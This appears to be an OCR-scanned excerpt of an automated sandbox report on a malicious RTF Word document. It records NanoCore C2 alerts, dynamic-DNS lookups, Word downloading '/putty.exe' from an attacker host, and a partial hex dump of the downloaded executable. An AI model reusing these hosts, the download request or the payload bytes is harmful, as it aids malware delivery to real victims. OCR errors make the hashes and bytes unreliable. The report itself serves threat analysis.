32FF81BE7818FA7140817FAOBC856975AE9FCB324A081D0OE0560D7B5B87EFB30

59DE035B230C9A4AD6A4EBFABEFCD7798CCB38C7EDAY863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CASBF4FB6334ECO:
6C6

false

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

unknown

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Rich Text Format data, unknown version
3.1682008800082904

e Rich Text Format (5005/1) 55.56%
e Rich Text Format (4004/1) 44.44%

NEW P0O1100372954 -.doc

234750

afe48e30fc3f12c2bbad7d19aelfff8e
2ded99867d8b3e9499h10743ae732efec19ccc8e

ecef57afceBa7d5eed2080401da0ce36d67c2493cf1385b
432a6bf0ab5f6e521

9a2bcef0c2f34c68fab71898cdebf2deb8c937fh87b5195f
c99e5f4e6bbc156d6549a6fh0535ba4602b95ff1e7bff440
4b30ce695c7498bebe21d48a71f2bb58

1536:itW79A4b64DJ/b6IP1IsvggNNzoBxgqM8RLIypLBC
y/ndzFz76mAg5eeVhMDw5wiv:itW7qA4b64ggaeG/ndz
Ftr5SRDAWSWfY

{\rtf\Fbidi \froman\fcharset238\ud1\adeff31507\deffO\sts

hfdbch31506\stshfloch31506\ztahffick41c05\stshfBi315

07\deEflAng1045\deEglangfe1045\themelang1045\them
elangfel\themelangcs5{\Isdlockedexcept \Isdgformat2 \I
sdpriorityO \Isdlocked0 Normal;\b865c6673647

Icon Hash: edeeaaaadbdbdad
Static RTF Info
Objects
Id Start Format ID Format Classname Datasize Filename Sourcepath Temppath Exploit
0 00000961h 2 embedded package 20578 abdtfhgXgdghgh.ScT C:\jsdsTggfabdtfhgXGdghgh.ScT C:\CbkepaDw\abdtfhghgdghgh.Sc no
T

1 0000B188h 2 embedded OLE2LInk 2560 no
Network Behavior
Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49170 8234  192.168.2.22 203.159.80.186
11:00:55.449858
08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49171 8234  192.168.2.22 203.159.80.186

11:01:04.085356
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https://www.metadefender.com/#!/results/file/bzIxMDEwOHlQSTd2RjloSkJuM3VlN3o5emE/regular/analysis

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49172 8234  192.168.2.22 203.159.80.186
11:01:10.279735

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49172 8234  192.168.2.22 203.159.80.186
11:01:11.005994

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49173 8234  192.168.2.22 203.159.80.186
11:01:15.859665

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49174 8234  192.168.2.22 203.159.80.186
11:01:26.222099

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49174 8234  192.168.2.22 203.159.80.186
11:01:26.832941

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49175 8234  192.168.2.22 203.159.80.186
11:01:31.194297

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49176 8234  192.168.2.22 203.159.80.186
11:01:36.418179

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49177 8234  192.168.2.22 203.159.80.186
11:01:41.681580

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49178 8234  192.168.2.22 203.159.80.186
11:01:52.872032

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49179 8234  192.168.2.22 203.159.80.186
11:01:58.316930

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49179 8234  192.168.2.22 203.159.80.186
11:01:58.959256

08/02/21- TCP 2025019 ET TROJAN Possible NanoCore C2 60B 49180 8234  192.168.2.22 203.159.80.186
11:02:03.607658

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 2, 2021 10:59:54.123145103 CEST 192.168.2.22 8.8.8.8 0x6029 Standard query  newhosteee A (IP address) IN (0x0001)
0) ee.ydns.eu

Aug 2, 2021 10:59:57.598957062 CEST 192.168.2.22 8.8.8.8 Oxe5d1 Standard query  newhosteee A (IP address) IN (0x0001)
0) ee.ydns.eu

Aug 2, 2021 10:59:58.563791037 CEST 192.168.2.22 8.8.8.8 0x5cee Standard query  newhosteee A (IP address) IN (0x0001)
0) ee.ydns.eu

Aug 2, 2021 11:00:28.612422943 CEST 192.168.2.22 8.8.8.8 Oxe21 Standard query  sdafsdffss A (IP address) IN (0x0001)
0) ffs.ydns.eu

Aug 2, 2021 11:00:29.524005890 CEST 192.168.2.22 8.8.8.8 0xe89a Standard query  hutyrtitydns.eu A (IP address) IN (0x0001)
(0)

Aug 2, 2021 11:00:29.557904005 CEST 192.168.2.22 8.8.8.8 0xe89a Standard query  hutyrtitydns.eu A (IP address) IN (0x0001)
(0)

Aug 2, 2021 11:00:55.130738020 CEST 192.168.2.22 8.8.8.8 0x27el Standard query  hhjhtggfr. A (IP address)  IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:00:55.263684988 CEST 192.168.2.22 8.8.8.8 0x27el Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:00:55.299585104 CEST 192.168.2.22 8.8.8.8 Ox27el Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:03.769011974 CEST 192.168.2.22 8.8.8.8 0x566a Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:03.945925951 CEST 192.168.2.22 8.8.8.8 0x566a Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:03.992775917 CEST 192.168.2.22 8.8.8.8 0x566a Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:10.201478958 CEST 192.168.2.22 8.8.8.8 0x12eb Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:15.511684895 CEST 192.168.2.22 8.8.8.8 Oxcc8c Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:15.592659950 CEST 192.168.2.22 8.8.8.8 Oxcc8c Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:15.686260939 CEST 192.168.2.22 8.8.8.8 Oxcc8c Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org

Aug 2, 2021 11:01:26.042512894 CEST 192.168.2.22 8.8.8.8 0x5b8f Standard query  hhjhtggfr. A (IP address) IN (0x0001)
(0) duckdns.org
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Timestamp

Aug 2, 2021 11:01:26.163316965 CEST

Aug 2, 2021 11:01:31.131093025 CEST

Aug 2, 2021 11:01:36.336036921 CEST

Aug 2, 2021 11:01:41.617649078 CEST

Aug 2, 2021 11:01:52.811868906 CEST

Aug 2, 2021 11:01:58.229518890 CEST

Aug 2, 2021 11:02:03.448385954 CEST

DNS Answers

Timestamp Source IP

Aug 2, 2021 8.8.8.8
10:59:54.167108059
CEST

Aug 2, 2021 8.8.8.8
10:59:57.642354965
CEST

Aug 2, 2021 8.8.8.8
10:59:58.599704981
CEST

Aug 2, 2021 8.8.8.8
11:00:28.667654037
CEST

Aug 2, 2021 8.8.8.8
11:00:29.556768894
CEST

Aug 2, 2021 8.8.8.8
11:00:29.590831041
CEST

Aug 2, 2021 8.8.8.8
11:00:55.262723923
CEST

Aug 2, 2021 8.8.8.8
11:00:55.298891068
CEST

Aug 2, 2021 8.8.8.8
11:00:55.334811926
CEST

Aug 2, 2021 8.8.8.8
11:01:03.900093079
CEST

Aug 2, 2021 8.8.8.8
11:01:03.978482962
CEST

Aug 2, 2021 8.8.8.8
11:01:04.025501013
CEST

Aug 2, 2021 8.8.8.8
11:01:10.237142086
CEST

Aug 2, 2021 8.8.8.8
11:01:15.549159050
CEST

Aug 2, 2021 8.8.8.8
11:01:15.629231930
CEST

Aug 2, 2021 8.8.8.8
11:01:15.724112988
CEST

Aug 2, 2021 8.8.8.8
11:01:26.079297066
CEST

Aug 2, 2021 8.8.8.8
11:01:26.191297054
CEST

Aug 2, 2021 8.8.8.8
11:01:31.158580065
CEST
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Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID

0x6029

Oxe5d1

0x5cce

Oxe21

Oxe89a

Oxe89a

0x27el

0x27el

0x27el

0x566a

0x566a

0x566a

Ox12eb

Oxcc8c

Oxcc8c

Oxcc8c

0x5b8f

0x5b8f

Oxb6e4

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0x5b8f

Oxb6e4

0x7ae6

0xe8bf

Oxded2

0x4853

0xf096

Name
newhosteee
ee.ydns.eu

newhosteee
ee.ydns.eu

newhosteee
ee.ydns.eu

sdafsdffss
ffs.ydns.eu

hutyrtit.ydns.eu

hutyrtit.ydns.eu

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

OP Code
Standard query
(0

Standard query
(0

Standard query
0

Standard query
0

Standard query
(0

Standard query
(0)

Standard query
(0)

CName

Name

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

hhjhtggfr.
duckdns.org

Address

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.165

203.159.80.165

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

203.159.80.186

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 2, 2021 8.8.8.8 192.168.2.22 0x7ae6 No error (0) hhjhtggfr. 203.159.80.186 A (IP address) IN (0x0001)
11:01:36.371905088 duckdns.org

CEST

Aug 2, 2021 8.8.8.8 192.168.2.22 Oxe8bf No error (0) hhjhtggfr. 203.159.80.186 A (IP address) IN (0x0001)
11:01:41.650404930 duckdns.org

CEST

Aug 2, 2021 8.8.8.8 192.168.2.22 0xd6d2 No error (0) hhjhtggfr. 203.159.80.186 A (IP address) IN (0x0001)
11:01:52.841140032 duckdns.org

CEST

Aug 2, 2021 8.8.8.8 192.168.2.22 0x4853 No error (0) hhjhtggfr. 203.159.80.186 A (IP address) IN (0x0001)
11:01:58.264827013 duckdns.org

CEST

Aug 2, 2021 8.8.8.8 192.168.2.22 0xf096 No error (0) hhjhtggfr. 203.159.80.186 A (IP address) IN (0x0001)
11:02:03.577531099 duckdns.org

CEST

HTTP Request Dependency Graph

e newhosteeeee.ydns.eu

e hutyrtit.ydns.eu

HTTP Packets

Session ID

0

Timestamp

Aug 2, 2021
10:59:54.220050097 CEST

Aug 2, 2021
10:59:54.251251936 CEST

Source IP

192.168.2.22

kBytes
transferred

0

Copyright Joe Security LLC 2021

Source Port

49165

Direction

ouT

Destination IP Destination Port Process

203.159.80.186 80 C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Data

GET /putty.exe HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: newhosteeeee.ydns.eu

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Sun, 01 Aug 2021 22:25:10 GMT

Accept-Ranges: bytes

ETag: "6ca734172487d71:0"

Server: Microsoft-11S/8.5

Date: Mon, 02 Aug 2021 08:59:54 GMT

Content-Length: 731648

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
50 00 00 20 Ob 00 00 08 00 00 00 00 00 00 7a 3b Ob 00 00 20 00 00 00 40 Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 Ob 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b Ob 00 4f 00 00 00 00 40 Ob 00 e4 05 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 Ob 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f Ob 00
00 20 00 00 00 20 Ob 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00
00 00 40 Ob 00 00 06 00 00 00 22 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 Ob 00 00 02 00 00 00 28 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 5¢ 3b 0Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06
08 ¢4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 Oa 28 2¢ 00 00 Oa 00 de 02 00 dc 00
28 07 00 00 06 02 6f 2d 00 00 Oa 00 2a 00 01 10 00 00 02 00 01 00 Oe Of 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 Oa
00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 Oa 00 02 16 28 32 00 00 Oa 00 2a 4e 00 02 28 09
00 00 06 6f 17 02 00 06 28 33 00 00 Oa 00 2a 26 00 02 28 34 00 00 Oa 00 2a ce 73 35 00 00 Oa 80 01 00 00 04 73 36 00
00 0a 80 02 00 00 04 73 37 00 00 Oa 80 03 00 00 04 73 38 00 00 Oa 80 04 00 00 04 73 39 00 00 Oa 80 05 00 00 04 2a 00
00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 02
00 00 11 00 7e 02 00 00 04 6f 3b 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00
00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 Oa Oa 2b 00 06 2a 13 30 01 00
10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 Oa Oa 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06
00 00 04 14 28 3f 00 00 Oa Ob 07 2¢ 21 72 01 00 00 70 dO 05 00 00 02 28 40 00 00 Oa 6f 41 00 00 Oa 73 42 00 00 Oa Oc
08 80 06 00 00 04 00 00 7e 06 00 00 04 Oa 2b 00 06 2a 13 30 01 00 Ob 00 00 00 07 00 00 11 00 7e 07 00 00 04 Oa 2b 00
06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 Ob 00 00 06 72 3f 00 00 70 7e 07 00 00 04
6f 43 00 00 0a 28 44 00 00 Oa Ob 07 74 25 00 00 01 Oa 2b 00 06 2a 92 73 10 00 00 06 28 45 00 00 Oa 74 06 00 00 02 80
08 00 00 04 73

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELFaP z; @@ @(;0@" H.text' ‘.rsrc@"@@.reloc’(@B\
;H wO(+(,(0-*(.(/(0(1(2*N(0(3*&(4*s556575859*0~0:+*0~0; +*0~0<+*0~0=+*0~0>+*0<~(?,!rp(@0ASB~+*0~+*"*0&(r?p~0C(D
t%+*s(Ets

Page 28 of 44



Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Aug 2, 2021 778

10:59:57.762746096 CEST

Aug 2, 2021 779

10:59:57.833343983 CEST

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Aug 2, 2021 1537

10:59:58.669049025 CEST

Copyright Joe Security LLC 2021

Source Port

49166

Direction

ouT

Source Port
49167

Direction
ouT

Destination IP Destination Port Process

203.159.80.186 80 C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

GET /putty.exe HTTP/1.1
Host: newhosteeeee.ydns.eu
Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Sun, 01 Aug 2021 22:25:10 GMT

Accept-Ranges: bytes

ETag: "6ca734172487d71:0"

Server: Microsoft-11S/8.5

Date: Mon, 02 Aug 2021 08:59:57 GMT

Content-Length: 731648

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
50 00 00 20 Ob 00 00 08 00 00 00 00 00 00 7a 3b Ob 00 00 20 00 00 00 40 Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0Ob 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b Ob 00 4f 00 00 00 00 40 Ob 00 e4 05 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 Ob 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f Ob 00
00 20 00 00 00 20 Ob 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00
00 00 40 0b 00 00 06 00 00 00 22 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 Ob 00 00 02 00 00 00 28 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 5¢ 3b Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06
08 c4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 0a 28 2c 00 00 Oa 00 de 02 00 dc 00
28 07 00 00 06 02 6f 2d 00 00 Oa 00 2a 00 01 10 00 00 02 00 01 00 Oe Of 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 Oa
00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 Oa 00 02 16 28 32 00 00 Oa 00 2a 4e 00 02 28 09
00 00 06 6f 17 02 00 06 28 33 00 00 Oa 00 2a 26 00 02 28 34 00 00 Oa 00 2a ce 73 35 00 00 Oa 80 01 00 00 04 73 36 00
00 Oa 80 02 00 00 04 73 37 00 00 Oa 80 03 00 00 04 73 38 00 00 Oa 80 04 00 00 04 73 39 00 00 Oa 80 05 00 00 04 2a 00
00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 02
00 00 11 00 7e 02 00 00 04 6f 3b 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00
00 0a Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 O0a Oa 2b 00 06 2a 13 30 01 00
10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 Oa Oa 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06
00 00 04 14 28 3f 00 00 Oa Ob 07 2¢ 21 72 01 00 00 70 dO 05 00 00 02 28 40 00 00 Oa 6f 41 00 00 Oa 73 42 00 00 Oa Oc
08 80 06 00 00 04 00 00 7e 06 00 00 04 Oa 2b 00 06 2a 13 30 01 00 Ob 00 00 00 07 00 00 11 00 7e 07 00 00 04 Oa 2b 00
06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 Ob 00 00 06 72 3f 00 00 70 7e 07 00 00 04
6f 43 00 00 Oa 28 44 00 00 Oa Ob 07 74 25 00 00 01 Oa 2b 00 06 2a 92 73 10 00 00 06 28 45 00 00 Oa 74 06 00 00 02 80
08 0000 04 73

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELFaP z; @@ @(;0@ ™ H.text' ‘.rsrc@"@@.reloc’(@B\
;H wO(+(,(0-*(.(/(0(1(2*N(0(3*&(4*s556575859*0~0:+*0~0;+*0~0<+*0~0=+*0~0>+*0<~(?,!rp(@0ASB~+*0~+*"*0&(r?p~0C(D
t%+*s(Ets

Destination Port Process
C:\Program Files\Microsoft Office\Office lL4\WINWORD.EXE

Destination IP
203.159.80.186 80

Data

GET /putty.exe HTTP/1.1
Host: newhosteeeee.ydns.eu
Connection: Keep-Alive
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kBytes
Timestamp transferred

Aug 2, 2021 1538
10:59:58.711807013 CEST

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Aug 2, 2021 2381

11:00:29.636285067 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49169

Direction
ouT

Data

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Sun, 01 Aug 2021 22:25:10 GMT

Accept-Ranges: bytes

ETag: "6ca734172487d71:0"

Server: Microsoft-11S/8.5

Date: Mon, 02 Aug 2021 08:59:57 GMT

Content-Length: 731648

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
50 00 00 20 Ob 00 00 08 00 00 00 00 00 00 7a 3b Ob 00 00 20 00 00 00 40 Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 Ob 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b Ob 00 4f 00 00 00 00 40 Ob 00 e4 05 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 Ob 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f Ob 00
00 20 00 00 00 20 Ob 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00
00 00 40 Ob 00 00 06 00 00 00 22 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 Ob 00 00 02 00 00 00 28 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 5¢ 3b 0Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06
08 c4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 Oa 28 2¢ 00 00 Oa 00 de 02 00 dc 00
28 07 00 00 06 02 6f 2d 00 00 Oa 00 2a 00 01 10 00 00 02 00 01 00 Oe Of 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 Oa
00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 Oa 00 02 16 28 32 00 00 Oa 00 2a 4e 00 02 28 09
00 00 06 6f 17 02 00 06 28 33 00 00 Oa 00 2a 26 00 02 28 34 00 00 Oa 00 2a ce 73 35 00 00 Oa 80 01 00 00 04 73 36 00
00 0a 80 02 00 00 04 73 37 00 00 Oa 80 03 00 00 04 73 38 00 00 Oa 80 04 00 00 04 73 39 00 00 Oa 80 05 00 00 04 2a 00
00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 02
00 00 11 00 7e 02 00 00 04 6f 3b 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00
